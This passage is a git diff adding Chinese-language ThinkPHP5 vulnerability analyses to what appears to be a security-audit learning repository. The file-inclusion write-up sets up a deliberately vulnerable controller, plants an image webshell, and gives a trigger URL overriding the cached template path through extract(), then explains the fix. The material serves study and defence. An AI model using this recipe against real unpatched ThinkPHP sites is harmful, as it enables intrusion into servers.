+IntlCodePointBreakIterator IntlCodePointBreakIterator +IntlPartsIterator IntlPartsIterator +UConverter UConverter +JsonIncrementalParser JsonIncrementalParser +mysqli_sql_exception mysqli_sql_exception +mysqli_driver mysqli_driver +mysqli mysqli +mysqli_warning mysqli_warning +mysqli_result mysqli_result +mysqli_stmt mysqli_stmt +Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c +think\Loader think\Loader +think\Error think\Error +think\Container think\Config +think\App think\App +think\Env think\Request +think\Config think\Hook +think\Hook think\Env +think\Facade think\Lang +think\facade\Env think\Log +env think\Route +think\Db +think\Lang +think\Request +think\facade\Route +route +think\Route +think\route\Rule +think\route\RuleGroup +think\route\Domain +think\route\RuleItem +think\route\RuleName +think\route\Dispatch +think\route\dispatch\Url +think\route\dispatch\Module +think\Middleware +think\Cookie +think\View +think\view\driver\Think +think\Template +think\template\driver\File +think\Log +think\log\driver\File +think\Session +think\Debug +think\Cache +think\cache\Driver +think\cache\driver\File +``` + +## 漏洞修复 + +官方的修复方法是:增加正则表达式 `^[A-Za-z](\w)*$` ,对控制器名进行合法性检测。 + +![3](ThinkPHP5漏洞分析之代码执行9/3.png) + +## 攻击总结 + +最后,再通过一张攻击流程图来回顾整个攻击过程。 + +![8](ThinkPHP5漏洞分析之代码执行9/8.png) \ No newline at end of file diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/1.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/1.png" new file mode 100644 index 0000000..15e7b7e Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/1.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/2.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/2.png" new file mode 100644 index 0000000..ec2fe65 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/2.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/3.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/3.png" new file mode 100644 index 0000000..8845c31 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/3.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/4.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/4.png" new file mode 100644 index 0000000..b042124 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/4.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/5.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/5.png" new file mode 100644 index 0000000..97868af Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/5.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/6.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/6.png" new file mode 100644 index 0000000..ae8ec31 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/6.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/7.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/7.png" new file mode 100644 index 0000000..2b47d0c Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/7.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/8.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/8.png" new file mode 100644 index 0000000..86bb87c Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\344\273\243\347\240\201\346\211\247\350\241\2149/8.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537.md" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537.md" new file mode 100644 index 0000000..7e47828 --- /dev/null +++ "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537.md" @@ -0,0 +1,76 @@ +本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **文件包含** 漏洞。 + +## 漏洞概要 + +本次漏洞存在于 **ThinkPHP** 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致 **文件包含漏洞** 的产生。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.18** 、**5.1.0<=ThinkPHP<=5.1.10**。 + +## 漏洞环境 + +通过以下命令获取测试环境代码: + +```bash +composer create-project --prefer-dist topthink/think=5.0.18 tpdemo +``` + +将 **composer.json** 文件的 **require** 字段设置成如下: + +```json +"require": { + "php": ">=5.6.0", + "topthink/framework": "5.0.18" +}, +``` + +然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下: + +```php +assign(request()->get()); + return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html + } +} +``` + +创建 **application/index/view/index/index.html** 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 **1.jpg** 放至 **public** 目录下(模拟上传图片操作)。接着访问 **http://localhost:8000/index/index/index?cacheFile=demo.php** 链接,即可触发 **文件包含漏洞** 。 + +![1](ThinkPHP5漏洞分析之文件包含7/1.png) + +## 漏洞分析 + +首先在官方发布的 **5.0.19** 版本更新说明中,发现其中提到该版本包含了一个安全更新。 + +![2](ThinkPHP5漏洞分析之文件包含7/2.png) + +我们可以查阅其 **commit** 记录,发现其改进了模板引擎,其中存在危险函数 **extract** ,有可能引发变量覆盖漏洞。接下来,我们直接跟进代码一探究竟。 + +![3](ThinkPHP5漏洞分析之文件包含7/3.png) + +首先,用户可控数据未经过滤,直接通过 **Controller** 类的 **assign** 方法进行模板变量赋值,并将可控数据存在 **think\View** 类的 **data** 属性中。 + +![4](ThinkPHP5漏洞分析之文件包含7/4.png) + +接着,程序开始调用 **fetch** 方法加载模板输出。这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似 **当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html** ,如果默认路径模板不存在,程序就会报错。 + +![5](ThinkPHP5漏洞分析之文件包含7/5.png) + +我们跟进到 **Template** 类的 **fetch** 方法,可以发现可控变量 **$vars** 赋值给 **$this->data** 并最终传入 **File** 类的 **read** 方法。而 **read** 方法中在使用了 **extract** 函数后,直接包含了 **$cacheFile** 变量。这里就是漏洞发生的关键原因(可以通过 **extract** 函数,直接覆盖 **$cacheFile** 变量,因为 **extract** 函数中的参数 **$vars** 可以由用户控制)。 + +![6](ThinkPHP5漏洞分析之文件包含7/6.png) + +## 漏洞修复 + +官方的修复方法是:先将 **$cacheFile** 变量存储在 **$this->cacheFile** 中,在使用 **extract** 函数后,最终 **include** 的变量是 **$this->cacheFile** ,这样也就避免了 **include** 被覆盖后的变量值。 + +![3](ThinkPHP5漏洞分析之文件包含7/3.png) + +## 攻击总结 + +最后,再通过一张攻击流程图来回顾整个攻击过程。 + +![7](ThinkPHP5漏洞分析之文件包含7/7.png) \ No newline at end of file diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/1.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/1.png" new file mode 100644 index 0000000..bd64b89 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/1.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/2.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/2.png" new file mode 100644 index 0000000..23ccbab Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/2.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/3.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/3.png" new file mode 100644 index 0000000..e134423 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/3.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/4.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/4.png" new file mode 100644 index 0000000..b23be47 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/4.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/5.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/5.png" new file mode 100644 index 0000000..f1ffa33 Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/5.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/6.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/6.png" new file mode 100644 index 0000000..e2e5dfe Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/6.png" differ diff --git "a/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/7.png" "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/7.png" new file mode 100644 index 0000000..e829e8a Binary files /dev/null and "b/Part2/ThinkPHP5/ThinkPHP5\346\274\217\346\264\236\345\210\206\346\236\220\344\271\213\346\226\207\344\273\266\345\214\205\345\220\2537/7.png" differ diff --git a/README.md b/README.md index 6758d6d..ecf361c 100755 --- a/README.md +++ b/README.md @@ -38,6 +38,10 @@ - [[红日安全]ThinkPHP5漏洞分析之SQL注入(四)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4.md) - [[红日安全]ThinkPHP5漏洞分析之SQL注入(五)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5.md) - [[红日安全]ThinkPHP5漏洞分析之SQL注入(六)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6.md) +- [[红日安全]ThinkPHP5漏洞分析之文件包含(七)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7.md) +- [[红日安全]ThinkPHP5漏洞分析之代码执行(八)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8.md) +- [[红日安全]ThinkPHP5漏洞分析之代码执行(九)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9.md) +- [[红日安全]ThinkPHP5漏洞分析之代码执行(十)](/Part2/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10.md) ## PHP-Audit-Labs题解